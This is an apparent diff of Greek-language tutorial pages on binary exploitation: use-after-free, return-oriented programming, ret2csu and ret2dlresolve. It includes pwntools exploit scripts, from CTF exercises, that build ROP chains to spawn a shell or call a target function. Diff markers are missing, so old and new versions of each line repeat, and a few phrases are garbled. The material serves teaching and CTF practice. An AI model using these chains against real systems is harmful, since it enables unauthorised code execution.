Το πρόβλημα εδώ είναι ότι δεν είναι παράνομο (δεν **θα υπάρχουν σφάλματα**) όταν **προσπελαστεί μνήμη που έχει απελευθερωθεί**. Έτσι, αν το πρόγραμμα (ή ο επιτιθέμενος) καταφέρει να **κατανεμηθεί η απελευθερωμένη μνήμη και να αποθηκευτούν αυθαίρετα δεδομένα**, όταν η απελευθερωμένη μνήμη προσπελαστεί από τον αρχικό δείκτη, **τα δεδομένα θα έχουν αντικατασταθεί** προκαλώντας μια **ευπάθεια που θα εξαρτάται από την ευαισθησία των δεδομένων** που είχαν αποθηκευτεί αρχικά (αν ήταν ένας δείκτης μιας συνάρτησης που επρόκειτο να κληθεί, ένας επιτιθέμενος θα μπορούσε να γνωρίζει πώς να τον ελέγξει).
### Επίθεση Πρώτης Τοποθέτησης
### First Fit attack
Μια επίθεση πρώτης τοποθέτησης στοχεύει τον τρόπο που ορισμένοι κατανεμητές μνήμης, όπως στη glibc, διαχειρίζονται την απελευθερωμένη μνήμη. Όταν απελευθερώνετε ένα μπλοκ μνήμης, προστίθεται σε μια λίστα, και οι νέες αιτήσεις μνήμης αντλούν από αυτή τη λίστα από το τέλος. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτή τη συμπεριφορά για να χει manipulat **ποια μπλοκ μνήμης επαναχρησιμοποιούνται, αποκτώντας ενδεχομένως έλεγχο πάνω τους**. Αυτό μπορεί να οδηγήσει σε προβλήματα "χρήσης μετά την απελευθέρωση", όπου ένας επιτιθέμενος θα μπορούσε να **αλλάξει το περιεχόμενο της μνήμης που επανακατανέμεται**, δημιουργώντας έναν κίνδυνο ασφαλείας.\
Μια επίθεση first fit στοχεύει τον τρόπο που ορισμένοι διαχειριστές μνήμης, όπως στη glibc, διαχειρίζονται την απελευθερωμένη μνήμη. Όταν απελευθερώνετε ένα μπλοκ μνήμης, προστίθεται σε μια λίστα, και οι νέες αιτήσεις μνήμης αντλούν από αυτή τη λίστα από το τέλος. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτή τη συμπεριφορά για να χει manip ulate **ποια μπλοκ μνήμης επαναχρησιμοποιούνται, αποκτώντας δυνητικά έλεγχο πάνω τους**. Αυτό μπορεί να οδηγήσει σε ζητήματα "use-after-free", όπου ένας επιτιθέμενος θα μπορούσε να **αλλάξει το περιεχόμενο της μνήμης που επανακατανέμεται**, δημιουργώντας έναν κίνδυνο ασφαλείας.\
Δείτε περισσότερες πληροφορίες στο:
{{#ref}}

View File

@ -4,28 +4,28 @@
## **Βασικές Πληροφορίες**
**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακαμφθούν τα μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό αρχείο ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών λειτουργιών. Συνδέοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.
**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακάμψει μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών λειτουργιών. Συνδυάζοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.
### Πώς Λειτουργεί το ROP
1. **Hijacking Ροής Ελέγχου**: Πρώτα, ένας επιτιθέμενος πρέπει να hijack τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος μια υπερχείλιση buffer για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στο stack.
2. **Σύνδεση Gadgets**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και συνδέει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών.
2. **Gadget Chaining**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και συνδυάζει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών.
3. **Εκτέλεση Payload**: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets.
### Εργαλεία
Συνήθως, τα gadgets μπορούν να βρεθούν χρησιμοποιώντας [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ή απευθείας από **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## ROP Chain σε Παράδειγμα x86
## Παράδειγμα ROP Chain σε x86
### **x86 (32-bit) Κλήσεις Συμβάσεων**
### **x86 (32-bit) Συμβάσεις Κλήσης**
- **cdecl**: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack σε αντίστροφη σειρά (δεξιά προς τα αριστερά). **Οι παράμετροι τοποθετούνται στο stack από δεξιά προς τα αριστερά.**
- **cdecl**: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack με αντίστροφη σειρά (δεξιά προς τα αριστερά). **Οι παράμετροι τοποθετούνται στο stack από δεξιά προς τα αριστερά.**
- **stdcall**: Παρόμοιο με το cdecl, αλλά ο καλούμενος είναι υπεύθυνος για τον καθαρισμό του stack.
### **Εύρεση Gadgets**
Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό αρχείο ή τις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι:
Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό ή στις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι:
- `pop eax; ret`: Αυτό το gadget αφαιρεί την κορυφαία τιμή του stack στον καταχωρητή `EAX` και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το `EAX`.
- `pop ebx; ret`: Παρόμοιο με το παραπάνω, αλλά για τον καταχωρητή `EBX`, επιτρέποντας τον έλεγχο του `EBX`.
@ -34,7 +34,7 @@
### **ROP Chain**
Χρησιμοποιώντας **pwntools**, προετοιμάζουμε το stack για την εκτέλεση της ROP αλυσίδας ως εξής, στοχεύοντας να εκτελέσουμε `system('/bin/sh')`, σημειώστε πώς η αλυσίδα ξεκινά με:
Χρησιμοποιώντας **pwntools**, προετοιμάζουμε το stack για την εκτέλεση της ROP chain ως εξής, στοχεύοντας να εκτελέσουμε `system('/bin/sh')`, σημειώστε πώς η αλυσίδα ξεκινά με:
1. Μια εντολή `ret` για σκοπούς ευθυγράμμισης (προαιρετική)
2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/index.html))
@ -77,18 +77,18 @@ p.interactive()
### **x64 (64-bit) Calling conventions**
- Χρησιμοποιεί τη **System V AMD64 ABI** calling convention σε συστήματα τύπου Unix, όπου τα **πρώτα έξι ακέραια ή δείκτες επιχειρήματα περνάνε στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8`, και `R9`**. Πρόσθετα επιχειρήματα περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`.
- Η calling convention **Windows x64** χρησιμοποιεί `RCX`, `RDX`, `R8`, και `R9` για τα πρώτα τέσσερα ακέραια ή δείκτες επιχειρήματα, με πρόσθετα επιχειρήματα να περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`.
- **Registers**: Οι 64-bit καταχωρητές περιλαμβάνουν `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`.
- Χρησιμοποιεί τη **System V AMD64 ABI** calling convention σε συστήματα τύπου Unix, όπου οι **πρώτοι έξι ακέραιοι ή δείκτες παράμετροι μεταφέρονται στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8` και `R9`**. Πρόσθετες παράμετροι μεταφέρονται στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`.
- Η calling convention **Windows x64** χρησιμοποιεί τους `RCX`, `RDX`, `R8` και `R9` για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρους, με πρόσθετες παραμέτρους να μεταφέρονται στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`.
- **Registers**: Οι 64-bit καταχωρητές περιλαμβάνουν τους `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`.
#### **Finding Gadgets**
Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη συμβολοσειρά **"/bin/sh"** ως επιχείρημα στη **system()**) και στη συνέχεια να καλέσουμε τη συνάρτηση **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets:
Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη συμβολοσειρά **"/bin/sh"** ως παράμετρο στη **system()**) και στη συνέχεια να καλέσουμε τη λειτουργία **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets:
- **pop rdi; ret**: Αντλεί την κορυφαία τιμή του stack στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε το επιχείρημά μας για τη **system()**.
- **pop rdi; ret**: Αντλεί την κορυφαία τιμή του stack στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε την παράμετρο μας για τη **system()**.
- **ret**: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση του stack σε ορισμένα σενάρια.
Και γνωρίζουμε τη διεύθυνση της συνάρτησης **system()**.
Και γνωρίζουμε τη διεύθυνση της λειτουργίας **system()**.
### **ROP Chain**
@ -135,7 +135,7 @@ p.interactive()
### Ευθυγράμμιση Στοίβας
**Η x86-64 ABI** διασφαλίζει ότι η **στοίβα είναι ευθυγραμμισμένη στα 16 byte** όταν εκτελείται μια **εντολή κλήσης**. **LIBC**, για να βελτιστοποιήσει την απόδοση, **χρησιμοποιεί εντολές SSE** (όπως **movaps**) που απαιτούν αυτή την ευθυγράμμιση. Αν η στοίβα δεν είναι σωστά ευθυγραμμισμένη (σημαίνει ότι το **RSP** δεν είναι πολλαπλάσιο του 16), οι κλήσεις σε συναρτήσεις όπως η **system** θα αποτύχουν σε μια **ROP αλυσίδα**. Για να το διορθώσετε, απλά προσθέστε ένα **ret gadget** πριν από την κλήση της **system** στην ROP αλυσίδα σας.
**Η x86-64 ABI** διασφαλίζει ότι η **στοίβα είναι ευθυγραμμισμένη στα 16 byte** όταν εκτελείται μια **εντολή κλήσης**. **LIBC**, για να βελτιστοποιήσει την απόδοση, **χρησιμοποιεί εντολές SSE** (όπως **movaps**) που απαιτούν αυτή την ευθυγράμμιση. Αν η στοίβα δεν είναι σωστά ευθυγραμμισμένη (σημαίνει ότι **RSP** δεν είναι πολλαπλάσιο του 16), οι κλήσεις σε συναρτήσεις όπως **system** θα αποτύχουν σε μια **ROP αλυσίδα**. Για να το διορθώσετε, απλά προσθέστε ένα **ret gadget** πριν καλέσετε **system** στην ROP αλυσίδα σας.
## Κύρια διαφορά x86 vs x64
@ -155,20 +155,20 @@ p.interactive()
## Προστασίες κατά του ROP
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Αυτές οι προστασίες καθιστούν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθεί η αποθήκευση canary της στοίβας για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθεί η αποθήκευση του stack canary για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα.
- **Έλλειψη Gadgets**: Αν δεν υπάρχουν αρκετά gadgets, δεν θα είναι δυνατή η δημιουργία μιας ROP αλυσίδας.
## Τεχνικές βασισμένες σε ROP
Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένες στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX:
Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένο στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX:
- **Ret2lib**: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετους παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`.
- **Ret2lib**: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετες παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`).
{{#ref}}
ret2lib/
{{#endref}}
- **Ret2Syscall**: Χρησιμοποιεί ROP για να προετοιμάσει μια κλήση σε μια syscall, π.χ. `execve`, και να την εκτελέσει αυθαίρετες εντολές.
- **Ret2Syscall**: Χρησιμοποιεί ROP για να προετοιμάσει μια κλήση σε μια syscall, π.χ. `execve`, και να εκτελέσει αυθαίρετες εντολές.
{{#ref}}
rop-syscall-execv/
@ -184,7 +184,7 @@ rop-syscall-execv/
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bit, Pie και nx ενεργοποιημένα, χωρίς canary, επαναγραφή RIP με μια διεύθυνση `vsyscall` με τον μοναδικό σκοπό να επιστρέψει στη διεύθυνση που ακολουθεί στη στοίβα, η οποία θα είναι μια μερική επαναγραφή της διεύθυνσης για να αποκτήσει το μέρος της συνάρτησης που διαρρέει τη σημαία.
- 64 bit, Pie και nx ενεργοποιημένα, χωρίς canary, επαναγραφή RIP με μια διεύθυνση `vsyscall` με τον μοναδικό σκοπό να επιστρέψει στη διεύθυνση που θα είναι μια μερική επαναγραφή της διεύθυνσης για να αποκτήσει το μέρος της συνάρτησης που διαρρέει τη σημαία.
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, χωρίς ASLR, ROP gadget για να κάνει τη στοίβα εκτελέσιμη και να πηδήξει σε shellcode στη στοίβα.

View File

@ -8,9 +8,9 @@
**ret2csu** είναι μια τεχνική hacking που χρησιμοποιείται όταν προσπαθείτε να ελέγξετε ένα πρόγραμμα αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.
Όταν ένα πρόγραμμα χρησιμοποιεί ορισμένες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διαφορετικά κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Μεταξύ αυτών των λειτουργιών υπάρχουν μερικοί κρυμμένοι θησαυροί που μπορούν να λειτουργήσουν ως τα χαμένα μας gadgets, ειδικά ένα που ονομάζεται `__libc_csu_init`.
Όταν ένα πρόγραμμα χρησιμοποιεί ορισμένες βιβλιοθήκες (όπως η libc), έχει κάποιες ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διαφορετικά κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Μεταξύ αυτών των λειτουργιών υπάρχουν μερικοί κρυμμένοι θησαυροί που μπορούν να λειτουργήσουν ως τα χαμένα μας gadgets, ειδικά ένα που ονομάζεται `__libc_csu_init`.
### Τα Μαγικά Gadgets στο \_\_libc_csu_init
### Τα Μαγεμένα Gadgets στο \_\_libc_csu_init
Στο **`__libc_csu_init`**, υπάρχουν δύο ακολουθίες εντολών (gadgets) που πρέπει να επισημάνουμε:
@ -24,7 +24,7 @@ pop r14;
pop r15;
ret;
```
Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποθηκεύοντας τιμές από τη στοίβα σε αυτούς.
Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποσύροντας τιμές από τη στοίβα σε αυτούς.
2. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ρυθμίσει για να κάνουμε μερικά πράγματα:
- **Μετακίνηση συγκεκριμένων τιμών σε άλλους καταχωρητές**, προετοιμάζοντάς τους για να τους χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.
@ -35,7 +35,7 @@ mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Ίσως να μην γνωρίζετε καμία διεύθυνση για να γράψετε εκεί και **χρειάζεστε μια `ret` εντολή**. Σημειώστε ότι το δεύτερο gadget θα **τελειώνει επίσης σε μια `ret`**, αλλά θα χρειαστεί να πληροίτε κάποιες **προϋποθέσεις** για να το φτάσετε:
3. Ίσως να μην γνωρίζετε καμία διεύθυνση για να γράψετε εκεί και **χρειάζεστε μια `ret` εντολή**. Σημειώστε ότι το δεύτερο gadget θα **τελειώνει επίσης σε `ret`**, αλλά θα χρειαστεί να πληροίτε κάποιες **προϋποθέσεις** για να το φτάσετε:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -50,7 +50,7 @@ ret
Οι συνθήκες θα είναι:
- `[r12 + rbx*8]` πρέπει να δείχνει σε μια διεύθυνση που αποθηκεύει μια κλήσιμη συνάρτηση (αν δεν έχετε ιδέα και δεν υπάρχει pie, μπορείτε απλά να χρησιμοποιήσετε τη συνάρτηση `_init`):
- Αν η \_init είναι στη διεύθυνση `0x400560`, χρησιμοποιήστε το GEF για να αναζητήσετε έναν δείκτη στη μνήμη προς αυτήν και κάντε το `[r12 + rbx*8]` να είναι η διεύθυνση με τον δείκτη προς τη \_init:
- Αν η _init είναι στη διεύθυνση `0x400560`, χρησιμοποιήστε το GEF για να αναζητήσετε έναν δείκτη στη μνήμη προς αυτήν και κάντε το `[r12 + rbx*8]` να είναι η διεύθυνση με τον δείκτη προς την _init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -65,12 +65,13 @@ gef➤ search-pattern 0x400560
## RDI και RSI
Ένας άλλος τρόπος για να ελέγξετε **`rdi`** και **`rsi`** από το gadget ret2csu είναι να αποκτήσετε πρόσβαση σε συγκεκριμένες μετατοπίσεις:
Ένας άλλος τρόπος για να ελέγξετε **`rdi`** και **`rsi`** από το gadget ret2csu είναι με την πρόσβαση σε συγκεκριμένες μετατοπίσεις:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Ελέγξτε αυτή τη σελίδα για περισσότερες πληροφορίες:
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
@ -79,14 +80,14 @@ brop-blind-return-oriented-programming.md
### Χρησιμοποιώντας την κλήση
Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Κανονικά, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα.
Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα.
Εδώ είναι που μπαίνει σε παιχνίδι το **ret2csu**:
1. **Ρύθμιση των Καταχωρητών**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να βγάλετε τιμές από τη στοίβα και να τις τοποθετήσετε στους rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.
2. **Χρησιμοποιήστε το Δεύτερο Gadget**: Με αυτούς τους καταχωρητές ρυθμισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μεταφέρετε τις επιλεγμένες τιμές σας στους `rdx` και `rsi` (από r14 και r13, αντίστοιχα), προετοιμάζοντας παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε στο `[r15 + rbx*8]`.
2. **Χρησιμοποιήστε το Δεύτερο Gadget**: Με αυτούς τους καταχωρητές ρυθμισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μεταφέρετε τις επιλεγμένες τιμές σας στους `rdx` και `rsi` (από r14 και r13, αντίστοιχα), προετοιμάζοντας παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε σε `[r15 + rbx*8]`.
Έχετε ένα [**παράδειγμα που χρησιμοποιεί αυτή την τεχνική και το εξηγεί εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτό είναι το τελικό exploit που χρησιμοποιήθηκε:
Έχετε ένα [**παράδειγμα που χρησιμοποιεί αυτή την τεχνική και το εξηγεί εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτή είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε:
```python
from pwn import *
@ -111,11 +112,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, αλλά απλώς καλεί μια συνάρτηση που ονομάζεται **`win`** (λαμβάνοντας τη διεύθυνση του `win` από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με ένα τρίτο επιχείρημα με την τιμή `0xdeadbeefcafed00d`.
> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, αλλά απλώς καλεί μια συνάρτηση που ονομάζεται **`win`** (λαμβάνοντας τη διεύθυνση του `win` από το stdin που καλεί τα gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με μια τρίτη παράμετρο με την τιμή `0xdeadbeefcafed00d`.
### Παράκαμψη της κλήσης και προσέγγιση του ret
Η παρακάτω εκμετάλλευση εξήχθη [**από αυτή τη σελίδα**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu** αλλά αντί να χρησιμοποιεί την κλήση, **παράκαμπτε τις συγκρίσεις και προσεγγίζει το `ret`** μετά την κλήση:
Η παρακάτω εκμετάλλευση εξήχθη [**από αυτή τη σελίδα**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu**, αλλά αντί να χρησιμοποιεί την κλήση, **παράκαμπτε τις συγκρίσεις και προσεγγίζει το `ret`** μετά την κλήση:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -165,8 +166,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Γιατί να μην χρησιμοποιήσετε απευθείας τη libc;
### Γιατί να μην χρησιμοποιήσετε απευθείας το libc;
Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στη libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**.
Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στο libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,13 +4,13 @@
## Basic Information
Όπως εξηγείται στη σελίδα για το [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και το [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά αρχεία χωρίς Full Relro θα επιλύσουν σύμβολα (όπως διευθύνσεις σε εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση συμβαίνει καλώντας τη συνάρτηση **`_dl_runtime_resolve`**.
Όπως εξηγείται στη σελίδα σχετικά με [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά αρχεία χωρίς Full Relro θα επιλύσουν σύμβολα (όπως διευθύνσεις σε εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση συμβαίνει καλώντας τη συνάρτηση **`_dl_runtime_resolve`**.
Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε κάποιες δομές που χρειάζεται για να **επιλύσει** το καθορισμένο σύμβολο.
Επομένως, είναι δυνατό να **ψευδοποιηθούν όλες αυτές οι δομές** ώστε η δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσει με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
Επομένως, είναι δυνατόν να **ψευδίσουμε όλες αυτές τις δομές** ώστε η δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσουμε με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
Συνήθως, όλες αυτές οι δομές ψευδοποιούνται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`**, κάνοντάς την να **επιλύσει τη διεύθυνση του `system`** στις ψευδοποιημένες δομές και **καλώντας αυτή τη διεύθυνση** με τη διεύθυνση του `$'/bin/sh'`.
